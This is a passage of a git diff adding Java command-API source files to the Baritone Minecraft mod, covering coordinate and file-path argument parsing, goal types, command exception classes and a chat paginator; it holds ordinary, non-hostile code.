Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Stream; + +public enum RelativeCoordinate implements IDatatypePost { + INSTANCE; + private static String ScalesAliasRegex = "[kKmM]"; + private static Pattern PATTERN = Pattern.compile("^(~?)([+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)(" + ScalesAliasRegex + "?)|)$"); + + @Override + public Double apply(IDatatypeContext ctx, Double origin) throws CommandException { + if (origin == null) { + origin = 0.0D; + } + + Matcher matcher = PATTERN.matcher(ctx.getConsumer().getString()); + if (!matcher.matches()) { + throw new IllegalArgumentException("pattern doesn't match"); + } + + boolean isRelative = !matcher.group(1).isEmpty(); + + double offset = matcher.group(2).isEmpty() ? 0 : Double.parseDouble(matcher.group(2).replaceAll(ScalesAliasRegex, "")); + + if (matcher.group(2).toLowerCase().contains("k")) { + offset *= 1000; + } + if (matcher.group(2).toLowerCase().contains("m")) { + offset *= 1000000; + } + + + if (isRelative) { + return origin + offset; + } + return offset; + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) throws CommandException { + final IArgConsumer consumer = ctx.getConsumer(); + if (!consumer.has(2) && consumer.getString().matches("^(~|$)")) { + return Stream.of("~"); + } + return Stream.empty(); + } +} diff --git a/src/baritone/api/command/datatypes/RelativeFile.java b/src/baritone/api/command/datatypes/RelativeFile.java new file mode 100644 index 00000000..6eccbb30 --- /dev/null +++ b/src/baritone/api/command/datatypes/RelativeFile.java @@ -0,0 +1,108 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.utils.Helper; +import net.minecraft.client.Minecraft; + +import java.io.File; +import java.io.IOException; +import java.io.UncheckedIOException; +import java.nio.file.FileSystems; +import java.nio.file.InvalidPathException; +import java.nio.file.Path; +import java.util.Locale; +import java.util.Objects; +import java.util.stream.Stream; + +public enum RelativeFile implements IDatatypePost { + INSTANCE; + + @Override + public File apply(IDatatypeContext ctx, File original) throws CommandException { + if (original == null) { + original = new File("./"); + } + + Path path; + try { + path = FileSystems.getDefault().getPath(ctx.getConsumer().getString()); + } catch (InvalidPathException e) { + throw new IllegalArgumentException("invalid path"); + } + return getCanonicalFileUnchecked(original.toPath().resolve(path).toFile()); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) { + return Stream.empty(); + } + + /** + * Seriously + * + * @param file File + * @return Canonical file of file + * @author LoganDark + */ + private static File getCanonicalFileUnchecked(File file) { + try { + return file.getCanonicalFile(); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + } + + public static Stream tabComplete(IArgConsumer consumer, File base0) throws CommandException { + // I will not make the caller deal with this, seriously + // Tab complete code is beautiful and I'm not going to bloat it with dumb ass checked exception bullshit -LoganDark + + // lol owned -Brady + + File base = getCanonicalFileUnchecked(base0); + String currentPathStringThing = consumer.getString(); + Path currentPath = FileSystems.getDefault().getPath(currentPathStringThing); + Path basePath = currentPath.isAbsolute() ? currentPath.getRoot() : base.toPath(); + boolean useParent = !currentPathStringThing.isEmpty() && !currentPathStringThing.endsWith(File.separator); + File currentFile = currentPath.isAbsolute() ? currentPath.toFile() : new File(base, currentPathStringThing); + return Stream.of(Objects.requireNonNull(getCanonicalFileUnchecked( + useParent + ? currentFile.getParentFile() + : currentFile + ).listFiles())) + .map(f -> (currentPath.isAbsolute() ? f : basePath.relativize(f.toPath()).toString()) + + (f.isDirectory() ? File.separator : "")) + .filter(s -> s.toLowerCase(Locale.US).startsWith(currentPathStringThing.toLowerCase(Locale.US))) + .filter(s -> !s.contains(" ")); + } + + @Deprecated + public static File gameDir() { + return gameDir(Helper.mc); + } + + public static File gameDir(Minecraft mc) { + File gameDir = mc.gameDir.getAbsoluteFile(); + if (gameDir.getName().equals(".")) { + return gameDir.getParentFile(); + } + return gameDir; + } +} diff --git a/src/baritone/api/command/datatypes/RelativeGoal.java b/src/baritone/api/command/datatypes/RelativeGoal.java new file mode 100644 index 00000000..0b602e9e --- /dev/null +++ b/src/baritone/api/command/datatypes/RelativeGoal.java @@ -0,0 +1,64 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalBlock; +import baritone.api.pathing.goals.GoalXZ; +import baritone.api.pathing.goals.GoalYLevel; +import baritone.api.utils.BetterBlockPos; + +import java.util.stream.Stream; + +public enum RelativeGoal implements IDatatypePost { + INSTANCE; + + @Override + public Goal apply(IDatatypeContext ctx, BetterBlockPos origin) throws CommandException { + if (origin == null) { + origin = BetterBlockPos.ORIGIN; + } + + final IArgConsumer consumer = ctx.getConsumer(); + + GoalBlock goalBlock = consumer.peekDatatypePostOrNull(RelativeGoalBlock.INSTANCE, origin); + if (goalBlock != null) { + return goalBlock; + } + + GoalXZ goalXZ = consumer.peekDatatypePostOrNull(RelativeGoalXZ.INSTANCE, origin); + if (goalXZ != null) { + return goalXZ; + } + + GoalYLevel goalYLevel = consumer.peekDatatypePostOrNull(RelativeGoalYLevel.INSTANCE, origin); + if (goalYLevel != null) { + return goalYLevel; + } + + // when the user doesn't input anything, default to the origin + return new GoalBlock(origin); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) { + return ctx.getConsumer().tabCompleteDatatype(RelativeCoordinate.INSTANCE); + } +} diff --git a/src/baritone/api/command/datatypes/RelativeGoalBlock.java b/src/baritone/api/command/datatypes/RelativeGoalBlock.java new file mode 100644 index 00000000..ccc45caf --- /dev/null +++ b/src/baritone/api/command/datatypes/RelativeGoalBlock.java @@ -0,0 +1,53 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.GoalBlock; +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.math.MathHelper; + +import java.util.stream.Stream; + +public enum RelativeGoalBlock implements IDatatypePost { + INSTANCE; + + @Override + public GoalBlock apply(IDatatypeContext ctx, BetterBlockPos origin) throws CommandException { + if (origin == null) { + origin = BetterBlockPos.ORIGIN; + } + + final IArgConsumer consumer = ctx.getConsumer(); + return new GoalBlock( + MathHelper.floor(consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.x)), + MathHelper.floor(consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.y)), + MathHelper.floor(consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.z)) + ); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) { + final IArgConsumer consumer = ctx.getConsumer(); + if (consumer.hasAtMost(3)) { + return consumer.tabCompleteDatatype(RelativeCoordinate.INSTANCE); + } + return Stream.empty(); + } +} diff --git a/src/baritone/api/command/datatypes/RelativeGoalXZ.java b/src/baritone/api/command/datatypes/RelativeGoalXZ.java new file mode 100644 index 00000000..747509f5 --- /dev/null +++ b/src/baritone/api/command/datatypes/RelativeGoalXZ.java @@ -0,0 +1,52 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.GoalXZ; +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.math.MathHelper; + +import java.util.stream.Stream; + +public enum RelativeGoalXZ implements IDatatypePost { + INSTANCE; + + @Override + public GoalXZ apply(IDatatypeContext ctx, BetterBlockPos origin) throws CommandException { + if (origin == null) { + origin = BetterBlockPos.ORIGIN; + } + + final IArgConsumer consumer = ctx.getConsumer(); + return new GoalXZ( + MathHelper.floor(consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.x)), + MathHelper.floor(consumer.getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.z)) + ); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) { + final IArgConsumer consumer = ctx.getConsumer(); + if (consumer.hasAtMost(2)) { + return consumer.tabCompleteDatatype(RelativeCoordinate.INSTANCE); + } + return Stream.empty(); + } +} diff --git a/src/baritone/api/command/datatypes/RelativeGoalYLevel.java b/src/baritone/api/command/datatypes/RelativeGoalYLevel.java new file mode 100644 index 00000000..cd1a4c5d --- /dev/null +++ b/src/baritone/api/command/datatypes/RelativeGoalYLevel.java @@ -0,0 +1,50 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.datatypes; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.GoalYLevel; +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.math.MathHelper; + +import java.util.stream.Stream; + +public enum RelativeGoalYLevel implements IDatatypePost { + INSTANCE; + + @Override + public GoalYLevel apply(IDatatypeContext ctx, BetterBlockPos origin) throws CommandException { + if (origin == null) { + origin = BetterBlockPos.ORIGIN; + } + + return new GoalYLevel( + MathHelper.floor(ctx.getConsumer().getDatatypePost(RelativeCoordinate.INSTANCE, (double) origin.y)) + ); + } + + @Override + public Stream tabComplete(IDatatypeContext ctx) { + final IArgConsumer consumer = ctx.getConsumer(); + if (consumer.hasAtMost(1)) { + return consumer.tabCompleteDatatype(RelativeCoordinate.INSTANCE); + } + return Stream.empty(); + } +} diff --git a/src/baritone/api/command/exception/CommandErrorMessageException.java b/src/baritone/api/command/exception/CommandErrorMessageException.java new file mode 100644 index 00000000..b3161516 --- /dev/null +++ b/src/baritone/api/command/exception/CommandErrorMessageException.java @@ -0,0 +1,29 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +public abstract class CommandErrorMessageException extends CommandException { + + protected CommandErrorMessageException(String reason) { + super(reason); + } + + protected CommandErrorMessageException(String reason, Throwable cause) { + super(reason, cause); + } +} diff --git a/src/baritone/api/command/exception/CommandException.java b/src/baritone/api/command/exception/CommandException.java new file mode 100644 index 00000000..53b8e602 --- /dev/null +++ b/src/baritone/api/command/exception/CommandException.java @@ -0,0 +1,29 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +public abstract class CommandException extends Exception implements ICommandException { + + protected CommandException(String reason) { + super(reason); + } + + protected CommandException(String reason, Throwable cause) { + super(reason, cause); + } +} diff --git a/src/baritone/api/command/exception/CommandInvalidArgumentException.java b/src/baritone/api/command/exception/CommandInvalidArgumentException.java new file mode 100644 index 00000000..6997d6d6 --- /dev/null +++ b/src/baritone/api/command/exception/CommandInvalidArgumentException.java @@ -0,0 +1,43 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +import baritone.api.command.argument.ICommandArgument; + +public abstract class CommandInvalidArgumentException extends CommandErrorMessageException { + + public final ICommandArgument arg; + + protected CommandInvalidArgumentException(ICommandArgument arg, String message) { + super(formatMessage(arg, message)); + this.arg = arg; + } + + protected CommandInvalidArgumentException(ICommandArgument arg, String message, Throwable cause) { + super(formatMessage(arg, message), cause); + this.arg = arg; + } + + private static String formatMessage(ICommandArgument arg, String message) { + return String.format( + "Error at argument #%s: %s", + arg.getIndex() == -1 ? "" : Integer.toString(arg.getIndex() + 1), + message + ); + } +} diff --git a/src/baritone/api/command/exception/CommandInvalidStateException.java b/src/baritone/api/command/exception/CommandInvalidStateException.java new file mode 100644 index 00000000..0fa22fcb --- /dev/null +++ b/src/baritone/api/command/exception/CommandInvalidStateException.java @@ -0,0 +1,25 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +public class CommandInvalidStateException extends CommandErrorMessageException { + + public CommandInvalidStateException(String reason) { + super(reason); + } +} diff --git a/src/baritone/api/command/exception/CommandInvalidTypeException.java b/src/baritone/api/command/exception/CommandInvalidTypeException.java new file mode 100644 index 00000000..06658c3a --- /dev/null +++ b/src/baritone/api/command/exception/CommandInvalidTypeException.java @@ -0,0 +1,39 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +import baritone.api.command.argument.ICommandArgument; + +public class CommandInvalidTypeException extends CommandInvalidArgumentException { + + public CommandInvalidTypeException(ICommandArgument arg, String expected) { + super(arg, String.format("Expected %s", expected)); + } + + public CommandInvalidTypeException(ICommandArgument arg, String expected, Throwable cause) { + super(arg, String.format("Expected %s", expected), cause); + } + + public CommandInvalidTypeException(ICommandArgument arg, String expected, String got) { + super(arg, String.format("Expected %s, but got %s instead", expected, got)); + } + + public CommandInvalidTypeException(ICommandArgument arg, String expected, String got, Throwable cause) { + super(arg, String.format("Expected %s, but got %s instead", expected, got), cause); + } +} diff --git a/src/baritone/api/command/exception/CommandNoParserForTypeException.java b/src/baritone/api/command/exception/CommandNoParserForTypeException.java new file mode 100644 index 00000000..4bf7a1ac --- /dev/null +++ b/src/baritone/api/command/exception/CommandNoParserForTypeException.java @@ -0,0 +1,25 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +public class CommandNoParserForTypeException extends CommandUnhandledException { + + public CommandNoParserForTypeException(Class klass) { + super(String.format("Could not find a handler for type %s", klass.getSimpleName())); + } +} diff --git a/src/baritone/api/command/exception/CommandNotEnoughArgumentsException.java b/src/baritone/api/command/exception/CommandNotEnoughArgumentsException.java new file mode 100644 index 00000000..e2e05cfb --- /dev/null +++ b/src/baritone/api/command/exception/CommandNotEnoughArgumentsException.java @@ -0,0 +1,25 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +public class CommandNotEnoughArgumentsException extends CommandErrorMessageException { + + public CommandNotEnoughArgumentsException(int minArgs) { + super(String.format("Not enough arguments (expected at least %d)", minArgs)); + } +} diff --git a/src/baritone/api/command/exception/CommandNotFoundException.java b/src/baritone/api/command/exception/CommandNotFoundException.java new file mode 100644 index 00000000..49ac6977 --- /dev/null +++ b/src/baritone/api/command/exception/CommandNotFoundException.java @@ -0,0 +1,40 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +import baritone.api.command.ICommand; +import baritone.api.command.argument.ICommandArgument; + +import java.util.List; + +import static baritone.api.utils.Helper.HELPER; + +public class CommandNotFoundException extends CommandException { + + public final String command; + + public CommandNotFoundException(String command) { + super(String.format("Command not found: %s", command)); + this.command = command; + } + + @Override + public void handle(ICommand command, List args) { + HELPER.logDirect(getMessage()); + } +} diff --git a/src/baritone/api/command/exception/CommandTooManyArgumentsException.java b/src/baritone/api/command/exception/CommandTooManyArgumentsException.java new file mode 100644 index 00000000..9aec48ea --- /dev/null +++ b/src/baritone/api/command/exception/CommandTooManyArgumentsException.java @@ -0,0 +1,25 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +public class CommandTooManyArgumentsException extends CommandErrorMessageException { + + public CommandTooManyArgumentsException(int maxArgs) { + super(String.format("Too many arguments (expected at most %d)", maxArgs)); + } +} diff --git a/src/baritone/api/command/exception/CommandUnhandledException.java b/src/baritone/api/command/exception/CommandUnhandledException.java new file mode 100644 index 00000000..5dce5931 --- /dev/null +++ b/src/baritone/api/command/exception/CommandUnhandledException.java @@ -0,0 +1,46 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +import baritone.api.command.ICommand; +import baritone.api.command.argument.ICommandArgument; +import net.minecraft.util.text.TextFormatting; + +import java.util.List; + +import static baritone.api.utils.Helper.HELPER; + +public class CommandUnhandledException extends RuntimeException implements ICommandException { + + public CommandUnhandledException(String message) { + super(message); + } + + public CommandUnhandledException(Throwable cause) { + super(cause); + } + + @Override + public void handle(ICommand command, List args) { + HELPER.logDirect("An unhandled exception occurred. " + + "The error is in your game's log, please report this at https://github.com/cabaletta/baritone/issues", + TextFormatting.RED); + + this.printStackTrace(); + } +} diff --git a/src/baritone/api/command/exception/ICommandException.java b/src/baritone/api/command/exception/ICommandException.java new file mode 100644 index 00000000..b521a2e6 --- /dev/null +++ b/src/baritone/api/command/exception/ICommandException.java @@ -0,0 +1,55 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.exception; + +import baritone.api.command.ICommand; +import baritone.api.command.argument.ICommandArgument; +import net.minecraft.util.text.TextFormatting; + +import java.util.List; + +import static baritone.api.utils.Helper.HELPER; + +/** + * The base for a Baritone Command Exception, checked or unchecked. Provides a + * {@link #handle(ICommand, List)} method that is used to provide useful output + * to the user for diagnosing issues that may have occurred during execution. + *

+ * Anything implementing this interface should be assignable to {@link Exception}. + * + * @author Brady + * @since 9/20/2019 + */ +public interface ICommandException { + + /** + * @return The exception details + * @see Exception#getMessage() + */ + String getMessage(); + + /** + * Called when this exception is thrown, to handle the exception. + * + * @param command The command that threw it. + * @param args The arguments the command was called with. + */ + default void handle(ICommand command, List args) { + HELPER.logDirect(this.getMessage(), TextFormatting.RED); + } +} diff --git a/src/baritone/api/command/helpers/Paginator.java b/src/baritone/api/command/helpers/Paginator.java new file mode 100644 index 00000000..8b445765 --- /dev/null +++ b/src/baritone/api/command/helpers/Paginator.java @@ -0,0 +1,185 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.command.helpers; + +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.utils.Helper; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.event.ClickEvent; +import net.minecraft.util.text.event.HoverEvent; + +import java.util.Arrays; +import java.util.List; +import java.util.function.Function; + +public class Paginator implements Helper { + + public final List entries; + public int pageSize = 8; + public int page = 1; + + public Paginator(List entries) { + this.entries = entries; + } + + public Paginator(E... entries) { + this.entries = Arrays.asList(entries); + } + + public Paginator setPageSize(int pageSize) { + this.pageSize = pageSize; + return this; + } + + public int getMaxPage() { + return (entries.size() - 1) / pageSize + 1; + } + + public boolean validPage(int page) { + return page > 0 && page <= getMaxPage(); + } + + public Paginator skipPages(int pages) { + page += pages; + return this; + } + + public void display(Function transform, String commandPrefix) { + int offset = (page - 1) * pageSize; + for (int i = offset; i < offset + pageSize; i++) { + if (i < entries.size()) { + logDirect(transform.apply(entries.get(i))); + } else { + logDirect("--", TextFormatting.DARK_GRAY); + } + } + boolean hasPrevPage = commandPrefix != null && validPage(page - 1); + boolean hasNextPage = commandPrefix != null && validPage(page + 1); + TextComponent prevPageComponent = new StringTextComponent("<<"); + if (hasPrevPage) { + prevPageComponent.setStyle(prevPageComponent.getStyle() + .setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format("%s %d", commandPrefix, page - 1) + )) + .setHoverEvent(new HoverEvent( + HoverEvent.Action.SHOW_TEXT, + new StringTextComponent("Click to view previous page") + ))); + } else { + prevPageComponent.setStyle(prevPageComponent.getStyle().setFormatting(TextFormatting.DARK_GRAY)); + } + TextComponent nextPageComponent = new StringTextComponent(">>"); + if (hasNextPage) { + nextPageComponent.setStyle(nextPageComponent.getStyle() + .setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + String.format("%s %d", commandPrefix, page + 1) + )) + .setHoverEvent(new HoverEvent( + HoverEvent.Action.SHOW_TEXT, + new StringTextComponent("Click to view next page") + ))); + } else { + nextPageComponent.setStyle(nextPageComponent.getStyle().setFormatting(TextFormatting.DARK_GRAY)); + } + TextComponent pagerComponent = new StringTextComponent(""); + pagerComponent.setStyle(pagerComponent.getStyle().setFormatting(TextFormatting.GRAY)); + pagerComponent.append(prevPageComponent); + pagerComponent.appendString(" | "); + pagerComponent.append(nextPageComponent); + pagerComponent.appendString(String.format(" %d/%d", page, getMaxPage())); + logDirect(pagerComponent); + } + + public void display(Function transform) { + display(transform, null); + } + + public static void paginate(IArgConsumer consumer, Paginator pagi, Runnable pre, Function transform, String commandPrefix) throws CommandException { + int page = 1; + consumer.requireMax(1); + if (consumer.hasAny()) { + page = consumer.getAs(Integer.class); + if (!pagi.validPage(page)) { + throw new CommandInvalidTypeException( + consumer.consumed(), + String.format( + "a valid page (1-%d)", + pagi.getMaxPage() + ), + consumer.consumed().getValue() + ); + } + } + pagi.skipPages(page - pagi.page); + if (pre != null) { + pre.run(); + } + pagi.display(transform, commandPrefix); + } + + public static void paginate(IArgConsumer consumer, List elems, Runnable pre, Function transform, String commandPrefix) throws CommandException { + paginate(consumer, new Paginator<>(elems), pre, transform, commandPrefix); + } + + public static void paginate(IArgConsumer consumer, T[] elems, Runnable pre, Function transform, String commandPrefix) throws CommandException { + paginate(consumer, Arrays.asList(elems), pre, transform, commandPrefix); + } + + public static void paginate(IArgConsumer consumer, Paginator pagi, Function transform, String commandPrefix) throws CommandException { + paginate(consumer, pagi, null, transform, commandPrefix); + } + + public static void paginate(IArgConsumer consumer, List elems, Function transform, String commandPrefix) throws CommandException { + paginate(consumer, new Paginator<>(elems), null, transform, commandPrefix); + } + + public static void paginate(IArgConsumer consumer, T[] elems, Function transform, String commandPrefix) throws CommandException { + paginate(consumer, Arrays.asList(elems), null, transform, commandPrefix); + } + + public static void paginate(IArgConsumer consumer, Paginator pagi, Runnable pre, Function transform) throws CommandException { + paginate(consumer, pagi, pre, transform, null); + } + + public static void paginate(IArgConsumer consumer, List elems, Runnable pre, Function transform) throws CommandException { + paginate(consumer, new Paginator<>(elems), pre, transform, null); + } + + public static void paginate(IArgConsumer consumer, T[] elems, Runnable pre, Function transform) throws CommandException { + paginate(consumer, Arrays.asList(elems), pre, transform, null); + } + + public static void paginate(IArgConsumer consumer, Paginator pagi, Function transform) throws CommandException { + paginate(consumer, pagi, null, transform, null); + } + + public static void paginate(IArgConsumer consumer, List elems, Function transform) throws CommandException { + paginate(consumer, new Paginator<>(elems), null, transform, null); + } + + public static void paginate(IArgConsumer consumer, T[] elems, Function transform) throws 